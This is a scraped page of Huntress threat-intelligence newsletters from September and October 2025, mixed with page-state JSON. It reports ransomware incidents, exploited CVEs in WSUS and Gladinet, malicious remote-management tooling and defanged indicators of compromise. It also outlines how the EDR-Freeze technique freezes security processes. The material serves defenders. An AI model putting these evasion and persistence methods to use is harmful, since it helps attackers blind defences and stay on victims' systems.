Huntress released a new research report: Mind the (Security) Gap: SAT in 2025. The report surveyed 500 admins and learners of SAT solutions across the market to look at whether organizations are actually getting the results they need from their increasing SAT spend. The result: perceptions do not equal reality.

","

Huntress SIEM continues to prove its value in early threat detection, helping customers spot and stop ransomware operators and other adversaries significantly faster.

This month, the team added and expanded capabilities with TCP support for syslog collection, enabling a broader range of sources to send data directly into the SIEM. Even better, our 10 new brute force detections are already live—feeding our SOC fresh insights and strengthening our ability to respond quickly.

And for those running SentinelOne, we’re excited to share that our SentinelOne integration is now live and GA, making it easier than ever to extend protection and visibility across your environment.

","

Managed ITDR now detects logins from known malicious datacenters under its Unwanted Access capability. Though we’re familiar with detecting anomalous locations and VPNs with Unwanted Access, we noticed that threat actors are increasingly using datacenter infrastructure to skip both - now we have our eyes on this evolving tradecraft! Previously, datacenter logins were considered locations. This new feature allows us to categorize these logins more specifically as datacenters - and not as locations. So far, 70% of the signals that we have gotten from our malicious datacenter login detectors do not have a corresponding Unwanted Access signal (e.g., session hijacking, credential theft). This goes to show how much more we’re catching with malicious datacenter logins!

This month, Erin Meyers and Dave Kleinatland also took a look at the most common Microsoft 365 and identity security myths, in a blog post that you can read here.

","

Our Windows agent has scored several wins against Akira this month. Our on-agent ransomware detection capability showcased the ability to detect Akira ransomware 8 minutes and 33 seconds earlier than previously possible. Additionally, we successfully stopped Akira during multiple incidents, including one attack where we blocked them during the enumeration phase, and another where we identified them at their earliest attack path.

macOS Tamper Protection is now live on 90% of eligible endpoints! Additionally, this month we saw the rollout of macOS Agent 0.14.84, which introduces file-based telemetry on macOS. That means that our Product Research and Detection Engineering teams can make detection rules based on files being created on macOS endpoints. This will help us detect malicious activity earlier and better clue into other types of tradecraft.

Finally, the EDR team found our first Linux incident a few weeks ago during the Open Beta stage 🎊 The team detected reconnaissance on a Linux endpoint (specifically when a user executed a recursive getcap against the Root directory). Turns out the behavior came from a tester at a partner. This is a major win for our Linux agent!

$\"\"$ Incident report for an EDR detection on Linux

",[1143],"

",{"_122":1144,"_102":1145,"_682":17,"_125":97},"

Over the summer, we initiated a Rapid Response after a threat actor installed a Huntress agent on their operating machine, giving us visibility into their operations. In September, we published a blog post on our findings from the incident.

\n\n

$\"\"$

While many people saw the value in releasing information that gave in-depth visibility into how an attacker operates on a daily basis, interestingly, the blog post also triggered some controversy, including questions about the telemetry that EDR products collect and how we use data in investigations. This gave us an opportunity to engage with the community to separate fact from misunderstanding, through:

A video interview between John Hammond and Tib3rius
An aftermath blog post that explained what managed EDR is, how Huntress conducts investigations, and the value of these types of investigations for businesses

","Threat Actor Agent Install Blog",[1147,1148,1149,1150],{"_122":1157,"_102":692,"_682":17,"_125":97},{"_122":1155,"_102":1156,"_682":17,"_125":97},{"_122":1153,"_102":1154,"_682":17,"_125":97},{"_122":1151,"_102":1152,"_682":17,"_125":97},"

A new proof-of-concept (PoC) for a defense evasion technique called EDR-Freeze was recently publicized. Based on our testing, the Huntress Agent is not affected by EDR-Freeze.

The technique involves a component within the Windows Error Reporting (WER) framework called WerFaultSecure, which runs with protected process light (PPL) privileges and collects crash dumps of system processes for diagnostic measures. The PoC uses WerFaultSecure to trigger an API called MiniDumpWriteDump, which creates a snapshot of the memory and state of a process. When MiniDumpWriteDump takes that snapshot, it suspends the target processes temporarily before resuming them afterward. However, this PoC suspends MiniDumpWriteDump itself, which can keep the processes linked to EDR or AV in that “frozen” state indefinitely.

It’s important to note here that this tactic enables defense evasion, but it’s not an initial access technique. Attackers must first have access to a target host, gain the execution capabilities to run code locally, and obtain sufficient elevated privileges to manipulate protected processes. If that target has EDR installed, detections are in place and constantly tuned to spot these different points across the attack chain.

For businesses, EDR-Freeze underscores the significance of layered defenses, prioritized patching measures, and restricting or blocking tools that aren’t operationally required in the environment.

","EDR-Freeze","

SonicWall revealed an attack on its MySonicWall.com platform, which exposed customer firewall configuration files. In a security advisory, SonicWall said that threat actors accessed backup firewall preference files stored in the cloud for fewer than 5% of its firewall install base. Credentials in the files were encrypted, but the files also included information that could make it easier for attackers to exploit the firewall. The activity stemmed from a series of brute force attacks aimed at accessing the files stored in backup.

SonicWall recommended that customers log into their MySonicWall.com accounts and verify if cloud backups exist for their registered firewalls. If fields contain backup details, customers should verify if impacted serial numbers are listed in their account. If they are, they should follow the specific containment and remediation guidelines outlined in the threat advisory.

$\"\"$ SonicWall guidance on checking for Firewalls with preference files backed up in MySonicWall.com

Huntress has been in contact with SonicWall since our last Rapid Response, which involved a wave of SonicWall devices being actively exploited. We’re closely following this latest security incident and what it means for our own customers who use SonicWall products.

","SonicWall Exposed Customer Firewall Config Files","

DragonForce, a recent but virulent ransomware group formed from ex-members of RansomHub, suggested forming a “Ransomware Cartel” with LockBit and Qilin on the dark web. Shortly after, LockBit seemed to accept the offer, which allowed the groups to coordinate and share resources.

During 2025, ransomware-as-a-service (RaaS) competition has been extremely volatile. The rise and fall of groups has been dramatic. Groups’ payouts have gone up even higher to reflect this, with LockBit offering the highest at 90%, their top tier.

With the recent unification of DragonForce, LockBit, and Qilin, we believe this could lead to more coordinated efforts and unified attack strategies. For instance, LockBit, which is believed to have a very reliable pipeline of Initial Access Brokers, could share that privileged access to help Qilin and DragonForce gain access to a broader set of targets. More importantly, LockBit has proven that its infrastructure is extremely robust and operates even after takedowns. With the latest release, this will be LockBit’s fifth major restructure. By offering the other groups access to their infrastructure, money laundering, and financial systems, it could help make them more resistant to takedowns from law enforcement.

Similar to illicit cartels in Mexico, the current ransomware landscape has been fighting with each other at an escalating pace this year. Groups like BlackLock have been targeted by other groups, including DragonForce. Chatter amongst the dark web has indicated smaller groups might be looking to join forces as well, making the landscape extremely dynamic and unpredictable.

","The Ransomware Landscape and Implosions","

On September 15, the US Justice Department announced the capture of Thalha Jubair, a UK national associated with the Scattered Spider hacking group. Jubair was caught due to his poor operational security decisions in handling bitcoin ransom payments from victims.

He reportedly accessed a cryptocurrency wallet that received ransomware funds to purchase Steam Games and order food from delivery services. $\"\"$

In addition, recent video footage showed Jubair being reportedly robbed by individuals dressed up as police officers, who raided his residence a few months prior to his arrest. During that video, Jubair mentioned another associate who is currently being investigated as well. He’s charged with one count of computer fraud conspiracy, two counts of computer fraud, wire fraud conspiracy, two counts of wire fraud, and money laundering conspiracy. If convicted, he faces a maximum penalty of 95 years in prison, one of the highest penalties in cybercrime history.

Since his arrest, Scattered Spider has remained relatively quiet, suggesting that the group is performing damage control and anticipating more arrests.

",[1159,1160],{"_122":1163,"_102":1164,"_682":17,"_125":97},{"_122":1161,"_102":1162,"_682":17,"_125":97},"

SANS released nominees for their Difference Makers Awards, and our SOC dominated the list! Dray Agha, Jai Minton, and Anton Ovrutsky are nominated for the Practitioner of the Year - DFIR/Threat Intelligence Forensicators category, while Anna Pham is nominated for the Practitioner of the Year - Cyber Defender category. Huntress is a Cybersecurity Company of the Year nominee. Congrats to all our nominees! Make sure to cast your vote through October 8!

$\"\"$ Huntress dominated this year’s SANS Difference Makers Awards

","SANS Difference Makers Awards","

The Hunting & Tactical Response team has been working tirelessly behind the scenes this year on comprehensive threat hunts across process-related telemetry and working closely with Triage and Analysis analysts. Here are a few examples of some major wins from the first half of the year:

Exposing threat actors who were exploiting flaws in CrushFTP, Gladinet, and Ajax Pro products, and abusing fake CAPTCHAs
Protecting partners against tech support scammers
Identifying and naming multiple malware families, including Octowave loader

","Lots of wins in the first half of 2025","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F44e1a35cdf8d4eebb45ad379a7625812",[1167,1168,1169],{"_122":1176,"_102":1177,"_682":95,"_125":1178},{"_122":1173,"_102":1174,"_682":95,"_125":1175},{"_122":1170,"_102":1171,"_682":95,"_125":1172},"

Earlier this month, our SOC came across a social engineering technique with a twist: a malicious GitHub repository commit pretending to offer the GitHub Desktop client, but that instead dropped a trojan. This trojan then executed the Lumma Stealer infostealer malware.

In the attack, the threat actor used a Microsoft Bing ad to direct users to a malicious commit. A commit records all changes made to a project; in this case, attackers created a commit in a legitimate GitHub repository. This commit link was then embedded into the ad, making it appear non-malicious. While GitHub warns that the commit doesn’t belong to any brand in the repository, unsuspecting users might not notice or understand what it means. They would visit the link to the malicious commit and download it from github-desktop[.]com, like the victim did in this incident.

$\"\"$ GitHub’s warning that the commit does not belong to the repo’s branch

","Malicious GitHub repo serving up a trojan","

While this is the first time our SOC has come across this, other vendors have reported seeing the same technique. Threat actors rely on the victims’ trust in GitHub's brand recognition, regardless of the warning they receive above. User awareness of this attack vector is key here.

","

An incident at a construction company on August 31 revealed how threat actors are continuously trying to widen the impact of their ransomware attacks. The incident, linked back to a Play ransomware affiliate, used a custom tool called GoGo.exe (renamed from ps_bulk.exe). In this incident, we saw threat actors using the tool in a PSExec-like approach to spread multiple, randomly named executables to other hosts on the network. When executed, the tool is used to query Active Directory to find all computers in the corporate domain before using administrator credentials to deploy malicious payloads.

Here’s what else happened during this attack:

The threat actor accessed the endpoint via Remote Desktop Protocol (RDP)
The attacker used several native tools, like mmc.exe, and cleared Windows Event Logs
Files were encrypted using the extension .play
The threat actor attempted to uninstall the Huntress agent via C:\\Program Files\\Huntress\\Uninstall.exe

$\"\"$ Threat actors attempting to uninstall the Huntress agent

","Play ransomware affiliate targets multiple hosts with a custom tool","

The use of GoGo.exe shows how threat actors are trying to both speed up their attacks and intensify their impact. In this case, the threat actor used a custom tool to quickly spread across the network.

","

Earlier this month, we released a threat advisory on Obscura, a new ransomware variant first seen by our SOC on August 29. We didn’t have visibility into the initial access vector, but the ransomware executable was launched from the NETLOGON share, enabling it to replicate across domain controllers. This gave threat actors a stealthy foothold within the impacted org. Once launched, Obscura also:

Deleted shadow copies to throw a wrench into remediation
Sniffed out and terminated 120 different processes to target security and database applications that could potentially hinder the encryption process
Encrypted files with the “.obscura” extension and dropped the ransom note (README_Obscura.txt)

$\"\"$ Base64’d ransom note being decoded

","New ransomware variant: Obscura","

We saw Obscura in one incident, but the ransomware’s onion site claims several victims, including construction, real estate, and machine manufacturing orgs. This indicates that attacks are opportunistic, as opposed to targeted. Organizations should monitor their domain controllers closely. Also, keep an eye out for new files or existing files that are modified, including Group Policy Object (GPO) alterations.

","Huntress Adversary Tactics' September 2025 newsletter covers the new Obscura ransomware variant, Play ransomware affiliate attacks, and a malicious GitHub trojan alongside global cybercrime takedowns.",{"_193":194,"_195":196,"_104":197},{"_203":1279},{"_203":1262},{"_203":1245},{"_203":1217},{"_203":1202},{"_203":1187},{"_205":206,"_54":731,"_32":208,"_209":1188},{"_211":733,"_213":734,"_34":1189,"_216":734,"_218":1190,"_54":731,"_220":221,"_222":737,"_224":221,"_225":1191,"_227":228,"_56":739,"_230":230,"_231":1192,"_233":1193,"_283":17,"_235":236,"_237":1194},{"_244":245,"_248":1195,"_250":744,"_254":745,"_77":1196,"_56":739,"_257":747,"_259":748,"_85":749,"_91":1197},[],{},[],"jeusfr7iln",{},[1198,1199],{"_181":751,"_301":17,"_302":17,"_183":752},[93],{"_266":1201},{"_266":1200},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":207,"_32":208,"_209":1203},{"_211":212,"_213":214,"_34":1204,"_216":217,"_218":1205,"_54":207,"_220":221,"_222":223,"_224":221,"_225":1206,"_227":228,"_56":229,"_230":230,"_231":1207,"_233":1208,"_235":236,"_237":1209},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":1210,"_250":251,"_252":253,"_254":255,"_77":1211,"_56":229,"_257":258,"_259":260,"_85":261,"_91":1212},[],{},[],"ltsp49tmar",{},[1213,1214],{"_181":263,"_183":229},[93],{"_266":1216},{"_266":1215},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":1218},{"_211":274,"_213":275,"_34":1219,"_216":275,"_218":1220,"_54":272,"_222":278,"_224":221,"_225":1221,"_227":228,"_56":280,"_527":528,"_230":230,"_231":1222,"_233":530,"_283":17,"_235":236,"_237":1223},{"_240":285,"_242":286,"_246":287,"_248":1224,"_250":289,"_252":290,"_77":1225,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":1226,"_298":299},[],{},[],{},[1227,1228],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":1237},{"_266":1229},{"_205":206,"_54":270,"_32":248,"_209":1230},{"_211":539,"_213":540,"_34":1231,"_216":542,"_218":1232,"_54":270,"_222":544,"_224":539,"_225":1233,"_227":546,"_56":547,"_230":230,"_231":1234,"_233":549,"_235":236,"_237":1235},{"_56":547},[],{"_551":1236,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":308,"_32":248,"_209":1238},{"_211":539,"_213":563,"_34":1239,"_216":565,"_218":1240,"_54":308,"_222":567,"_224":539,"_225":1241,"_227":546,"_56":569,"_230":230,"_231":1242,"_233":571,"_235":236,"_237":1243},{"_56":569},[],{"_551":1244,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":1246},{"_211":274,"_213":312,"_34":1247,"_216":312,"_218":1248,"_54":310,"_220":221,"_222":582,"_224":221,"_225":1249,"_227":228,"_56":317,"_230":230,"_231":1250,"_233":1251,"_235":236,"_237":1252},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":1253,"_250":325,"_252":326,"_254":327,"_77":1254,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":1255,"_298":334},[],{},[],"f2pwidzbuth",{},[1256,1257,1258],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":1261},{"_266":1260},{"_266":1259},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":1263},{"_211":346,"_213":347,"_34":1264,"_216":347,"_218":1265,"_54":344,"_220":221,"_222":600,"_224":221,"_225":1266,"_227":228,"_56":352,"_230":230,"_231":1267,"_233":1268,"_235":236,"_237":1269},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":1270,"_360":361,"_250":362,"_252":363,"_254":364,"_77":1271,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":1272,"_298":371},[],{},[],"v0n9n9tu9gg",{},[1273,1274,1275],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":1278},{"_266":1277},{"_266":1276},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":1280},{"_211":346,"_213":383,"_34":1281,"_216":383,"_218":1282,"_54":381,"_220":221,"_222":618,"_224":221,"_225":1283,"_227":228,"_56":388,"_230":230,"_231":1284,"_233":1285,"_283":17,"_235":236,"_237":1286},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":1287,"_250":396,"_252":397,"_254":398,"_77":1288,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":1289},[],{},[],"v2dzd65fchj",{},[1290,1291,1292],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":1295},{"_266":1294},{"_266":1293},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":1299},"September 2025",{"_58":59,"_60":1303,"_62":1304,"_64":1305,"_66":1306,"_68":1307,"_74":1308,"_77":1309,"_56":1302,"_79":1310,"_81":1311,"_83":1312,"_85":1313,"_87":1314,"_89":90,"_91":1315},"3310d7bd7eb64f65b3ca8103bb2edc68","Threat View from the Lens of Huntress Adversary Tactics: October 2025",[1525,1526,1527],{"_94":95},[1370,1371,1372,1373,1374,1375],{"_186":1369,"_188":189,"_190":191,"_183":192},{},{"_122":97,"_94":17},{"_181":1368,"_183":1302},{"_106":1316},"Fri Oct 31 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"october-2025",{"_94":95},[93],[1317,1318,1319,1320,1321,1322],{"_113":1354,"_115":1355,"_117":705,"_118":169},{"_113":906,"_115":1347,"_117":908,"_118":484},{"_113":154,"_115":1345,"_117":1346,"_118":156},{"_113":141,"_115":1338,"_117":1142,"_118":144},{"_113":128,"_115":1329,"_117":1129,"_118":131},{"_113":114,"_115":1323,"_117":97,"_118":119},[1324,1325],{"_122":1327,"_102":1328,"_682":17,"_125":97},{"_122":1326,"_102":452,"_682":17,"_125":97},"

This month, Alden Schmidt and Stuart Ashenbrenner presented at Objective by the Sea, which is the premier macOS conference. They talked about their findings on BlueNoroff after a DPRK intrusion, based on an investigation and subsequent blog published earlier this year. You can watch the talk during this live streamed video of the event, starting at around 4:21.

$\"\"$

BSidesNYC was also this month. A number of people showed up from Huntress including Christina Parry, Adam Rice, and John Hammond - who delivered the keynote!

$\"\"$

\n\n","

$\"\"$

John Hammond was joined by Chris Myers with CourseStack in this month’s Tradecraft Tuesday episode, where they talked about everything Huntress CTF - from how the event got started, to highlights from this year’s CTF event so far. Halfway through (as of October 13), the event had 10,821 registered participants and 8,681 active participants - the best turnout the event has had so far! You can catch up on the episode here.

","Tradecraft Tuesday: Huntress Capture the Flag 2025 Halftime Show",[1330,1331,1332,1333],{"_122":1337,"_102":470,"_682":17,"_125":97},{"_122":1336,"_102":468,"_125":97},{"_122":1335,"_102":466,"_125":97},{"_122":1334,"_102":464,"_125":97},"

There’s a new Managed SAT episode: Economics of Cybercrime, which explores how cybercrime operates as a sophisticated, organized and profitable business.

$\"\"$ A behind-the-scenes look at the design of the Economics of Cybercrime, from October’s Product Lab

We also introduced Threat Simulators from Managed SAT earlier this year, and as of this month, our third simulation, Passwords, is now in General Availability. Managed SAT users will now see this simulation in the \"Simulations\" area of the learner portal.

In addition to new content, we’ve also rolled out the new “Report Phishing” button for outlook, allowing learners using Outlook to now use the taskpane and ribbon buttons to report phishing emails to Huntrees Managed SAT.

","

Huntress Managed SIEM now supports new sources:

The collection of NinjaOne NinjaRMM logs via HTTP Event Collector: Partners can now use Huntress to ingest NinjaOne logs via webhooks directly from NinjaOne RMM, providing compliance and operational value. NinjaOne RMM is not inherently a threat detection or prevention source, but we are still evaluating its logs for detection opportunities.
Microsoft's Azure Event Hub, which is a gateway service for sending logs from Azure applications and services to third parties. The integration is an API-based connection from Huntress to Azure, which enables the collection of Azure application and service logs.

We’re also releasing a new UI for the Windows Event Log Configurations, which aims to make configurations more intuitive for businesses.

","

Over the past few months, Managed ITDR has made several discrete detection changes to improve detection accuracy across Unwanted Access. Specific changes:

Added several datacenters to our “High Abuse” list for malicious datacenter infrastructure utilization
Added discrete detections for sign-ins from two suspicious AS
Fixed an issue with token theft detector false positives resulting from Cloud PC logins

We also rolled out a partner co-branded Identity Security Assessment Report to our customer base. The Huntress Identity Security Assessment Report gives a clear snapshot of the identity landscape within a Microsoft 365 tenant. The reports automatically generate once a tenant has been integrated and highlight where attackers could be hiding, showing users the risks that we’re monitoring, and any incidents that the SOC has investigated. Partners can now customize the report with their colors/logo and use the feature for ITDR cross-sale opportunities across their customer base.

","

Windows Firewall Tampering Detection and Rollback: we now automatically detect, rollback, and alert on Windows Firewall rules that are written against our EDR Agent or Windows Defender. This helps prevent malicious actors from blinding Huntress from their shady activities.

",[1339,1340],{"_122":1343,"_102":1344,"_682":17,"_125":97},{"_122":1341,"_102":1342,"_682":17,"_125":97},"

On October 23, Microsoft released an out-of-band update for a remote code execution bug in Windows Server Update Services (WSUS). WSUS is a centralized Microsoft update distribution service for IT administrators.

Soon after, we saw threat actors targeting publicly exposed WSUS instances on default ports (8530/TCP and 8531/TCP) to exploit the deserialization vulnerability via the AuthorizationCookie (CVE-2025-59287).

$\"\"$ Process tree for the exploitation activity for CVE-2025-59287

We saw exploitation activity across four customers, but we expect exploitation of CVE-2025-59287 to be limited, because WSUS doesn’t often expose ports 8530 and 8531. Across our partner base, we have observed ~25 hosts susceptible to this flaw. Organizations should apply the available patches for WSUS and isolate network access to WSUS.

We sent out notifications to our customer base about our discoveries and wrote up a blog post to inform the broader community about what we were seeing.

","Exploitation of Windows Server Update Services Remote Code Execution Vulnerability","

We discovered in-the-wild exploitation of an unauthenticated local file inclusion flaw in Gladinet CentreStack and Triofox products. The flaw impacted all versions of CentreStack prior to and including 16.7.10368.56560. At the time of discovery, there wasn’t a patch for the vulnerability. The flaw enables unintended disclosure of system files, letting threat actors retrieve the machine key from the Web.config file to perform remote code execution.

$\"\"$ Detection timeline for observed exploitation activity

We first saw the flaw being exploited in late September in three customer environments. We reached out to Gladinet and worked with them to develop a plan for disclosure. Gladinet released a fix for the flaw on October 12 as part of version 16.10.10408.56683. You can learn more information about CVE-2025-11371 in our blog post.

Special kudos to Bryan Masters, James Maclachlan, Jai Minton, and John Hammond for their efforts in discovering, validating, and disclosing this vulnerability.

","Active Exploitation of Gladinet CentreStack and Triofox Local File Inclusion Flaw (CVE-2025-11371)",[],"

In October, several manufacturing disruptions attributed to Qilin and adjacent ransomware operators targeted Japanese automotive suppliers and beverage processing companies, triggering production shut downs and a slowdown in production chains, like Volkswagen, in several countries. This attack was notably different from previous attacks impacting manufacturing companies earlier this year and late last year. In both cases, attackers didn‘t target or access customer data and didn’t appear to use pivoting methods into those areas. But this more recent attack seems to be specifically geared towards the supplier layer and tampering with production tempo, creating a big impact with a delay for specific production components.

Due to this precision, it’s suspected that this attack was coordinated with people familiar with manufacturing and production procedures as well as supply chain coordinators. This attack trend appears to be motivated by economic factors. For maximum impact, this attack could also affect stock prices or contract-based deliverables, ultimately influencing shifts in manufacturing or economic gains for short sellers.

Additionally, F5’s BIG-IP development environment was reported as compromised for nearly 12 months by the threat actor UNC5221 (aka APT27, Murky Panda, and Silk Typhoon). Researchers think this breach allowed the threat group to not only analyze and steal the codebase, but the delivery pipeline and trust relationships that form the backbone of F5’s service offerings. F5 responded by revising code changes throughout the codebase as well as preemptively patching known security vulnerabilities throughout their pipeline, toolsets, and devices.

Individuals using F5 architecture and services should consider themselves in the blast radius and review incidents from the last 11 months to check for associated threat activity, including:

Mapping architectural blind spots
Staging future poisoning of code, procedures or trust relationships
Triggering untraditional attacks such as performance latency, debt-inducing redirected API calls or other complex attacks

",[1348,1349],{"_122":1352,"_102":1353,"_682":17,"_125":97},{"_122":1350,"_102":1351,"_682":17,"_125":97},"

USB worms are still a thing in 2025 (!), with several retrospective threat hunts in October revealing multiple incidents with worms that originated from USB devices.

In one of the incidents, a USB worm led to the deployment of coinminer malware on the infected host. Our retrospective threat hunt found that on October 22 at 6:02:40 UTC, a user account executed a malicious VBS script on the D:\\ drive. This activity stemmed from an infected SanDisk Cruzer Blade USB flash drive that was connected to the host approximately 20 seconds prior to the execution of the VBS script. The script then led to additional payloads being staged and executed from the directory C:\\Windows \\System32.

While it may seem surprising that USB worms are still around, these incidents follow malware in recent years like Raspberry Robin and SnakeDisk. To reduce the risk of these infections, organizations can put restrictions on access to external devices like USB drives–or at least scan these devices before they’re connected to internal networks.

","A threat hunt reveals…USB worms?","

We saw a spike in threat actors authenticating into SonicWall SSLVPN devices across multiple customer environments in October, which appeared to stem from credential compromise (rather than brute-forcing). The bulk of the activity started October 4, with authentications continuing over the next week. Overall, over 100 SonicWall SSLVPN accounts across 16 customer accounts were impacted, with all authentications originating from 202.155.8[.]73.

The spike in authentications came after SonicWall issued a security advisory update warning that an attack on its MySonicWall platform gave an unauthorized party access to firewall configuration backup files for all customers who have used SonicWall’s cloud backup service. We have no evidence to link this advisory to the recent spike in compromises we’ve seen (though it may be difficult to discern that activity from our vantage point); however, any compromise data and indicators of compromise is always of interest for both our customer base and the broader community.

Special kudos to Michael Tigges for all his work that went into these findings.

","SonicWall SSLVPN Compromises","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F1c61e2eba89f4ed284e7a2e4c8b2df6a",[1356,1357,1358],{"_122":1365,"_102":1366,"_682":95,"_125":1367},{"_122":1362,"_102":1363,"_682":95,"_125":1364},{"_122":1359,"_102":1360,"_682":95,"_125":1361},"

We’ve seen threat actors using Chrome Remote Desktop in multiple attacks recently. This is a legitimate remote desktop software tool developed by Google that is being installed as a means of persistence, like other RMMs. Here are some incidents our SOC has seen involving Chrome Remote Desktop:

In an October 13 incident, a threat actor authenticated via Remote Desktop Protocol (RDP) and then deployed Chrome Remote Desktop, before attempting to uninstall the CrowdStrike Falcon agent from the endpoint and deploying Akira ransomware
On October 17, a threat actor authenticated via RDP before downloading and installing Chrome Remote Desktop for persistence. Additionally, the threat actor scanned the network (using netscan) and took steps to perform enumeration

","Threat actors turn to Chrome Remote Desktop","

Chrome Remote Desktop is only the latest RMM that threat actors are using for persistence, and we’ve seen a definitive uptick in the malicious use of this tool in recent weeks.

","

On October 11, an organization installed the Huntress agent on one endpoint initially, after it was hit by the Qilin ransomware, giving us very limited visibility into what happened. While we lacked EDR and SIEM telemetry to investigate the attack, we used other data sources, including:

Microsoft Defender Antivirus (MAV) alerts
Program Compatibility Assistant (PCA) logs
Windows Event Logs

In looking at these various data sources, Ben Folland and Harlan Carvey found that the threat actor had installed Total Software Deployment Service, as well as a rogue ScreenConnect instance, in the victim’s environment. The actor then tried to deploy several malicious files.

$\"\"$ Qilin ransomware note

","A pinhole view of a Qilin ransomware attack","

While we don’t always have the necessary telemetry streams during an incident, relying on multiple data sources helps us not only gain a deeper understanding of the threat actor’s attempted activities on the endpoint, but also validate findings and provide a clearer picture of what actually happened.

","

Threat actors have consistently used remote monitoring and management tools (RMMs) in their attack chains this year. But an interesting twist has recently emerged: threat actors use PDQ or GoTo Resolve initially and then deploy secondary RMM tools, like ScreenConnect or SimpleHelp. Deploying multiple RMM tools helps threat actors maintain longer term access, especially if the first tool is blocked. Below are a few examples we’ve seen recently:

On October 7, an employee at a real estate company received a phishing email through Outlook, which led to them install Open Revised Contract (2).exe. This executable file was actually a renamed GoTo Resolve instance signed by GoTo Technologies USA, LLC – which was then used to install the ScreenConnect RMM
In October, an employee at a car dealership executed the OPENINVITATION.exe file, a rogue GoTo Resolve RMM installer. The threat actor then used their access via GoTo Resolve to install a rogue SimpleHelp RMM (SimpleService.exe) on the host. But it didn’t stop there: they then installed a malicious ScreenConnect instance, configured with the domain support[.]innerschapel[.]com

$\"\"$ Incident involving GoTo Resolve, SimpleHelp, and ScreenConnect RMMs

","Layering malicious RMMs for better persistence","

While businesses use RMMs to increase efficiencies and reduce cost, threat actors compromise legacy RMM tools or install their own RMM once they gain access to the endpoint. We’re seeing them step up the game now by installing multiple RMMs for more persistent access.

","Huntress SOC analysts uncover Qilin ransomware tactics, Chrome Remote Desktop abuse, and active exploitation of critical CVEs including SonicWall SSLVPN and Windows WSUS vulnerabilities.",{"_193":194,"_195":196,"_104":197},{"_203":1488},{"_203":1451},{"_203":1434},{"_203":1406},{"_203":1391},{"_203":1376},{"_205":206,"_54":731,"_32":208,"_209":1377},{"_211":733,"_213":734,"_34":1378,"_216":734,"_218":1379,"_54":731,"_220":221,"_222":737,"_224":221,"_225":1380,"_227":228,"_56":739,"_230":230,"_231":1381,"_233":1382,"_283":17,"_235":236,"_237":1383},{"_244":245,"_248":1384,"_250":744,"_254":745,"_77":1385,"_56":739,"_257":747,"_259":748,"_85":749,"_91":1386},[],{},[],"6283sr4z32x",{},[1387,1388],{"_181":751,"_301":17,"_302":17,"_183":752},[93],{"_266":1390},{"_266":1389},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":207,"_32":208,"_209":1392},{"_211":212,"_213":214,"_34":1393,"_216":217,"_218":1394,"_54":207,"_220":221,"_222":223,"_224":221,"_225":1395,"_227":228,"_56":229,"_230":230,"_231":1396,"_233":1397,"_235":236,"_237":1398},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":1399,"_250":251,"_252":253,"_254":255,"_77":1400,"_56":229,"_257":258,"_259":260,"_85":261,"_91":1401},[],{},[],"yu41j8kzeh",{},[1402,1403],{"_181":263,"_183":229},[93],{"_266":1405},{"_266":1404},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":1407},{"_211":274,"_213":275,"_34":1408,"_216":275,"_218":1409,"_54":272,"_222":278,"_224":221,"_225":1410,"_227":228,"_56":280,"_527":528,"_230":230,"_231":1411,"_233":530,"_283":17,"_235":236,"_237":1412},{"_240":285,"_242":286,"_246":287,"_248":1413,"_250":289,"_252":290,"_77":1414,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":1415,"_298":299},[],{},[],{},[1416,1417],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":1426},{"_266":1418},{"_205":206,"_54":270,"_32":248,"_209":1419},{"_211":539,"_213":540,"_34":1420,"_216":542,"_218":1421,"_54":270,"_222":544,"_224":539,"_225":1422,"_227":546,"_56":547,"_230":230,"_231":1423,"_233":549,"_235":236,"_237":1424},{"_56":547},[],{"_551":1425,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":308,"_32":248,"_209":1427},{"_211":539,"_213":563,"_34":1428,"_216":565,"_218":1429,"_54":308,"_222":567,"_224":539,"_225":1430,"_227":546,"_56":569,"_230":230,"_231":1431,"_233":571,"_235":236,"_237":1432},{"_56":569},[],{"_551":1433,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":1435},{"_211":274,"_213":312,"_34":1436,"_216":312,"_218":1437,"_54":310,"_220":221,"_222":582,"_224":221,"_225":1438,"_227":228,"_56":317,"_230":230,"_231":1439,"_233":1440,"_235":236,"_237":1441},{"_240":321,"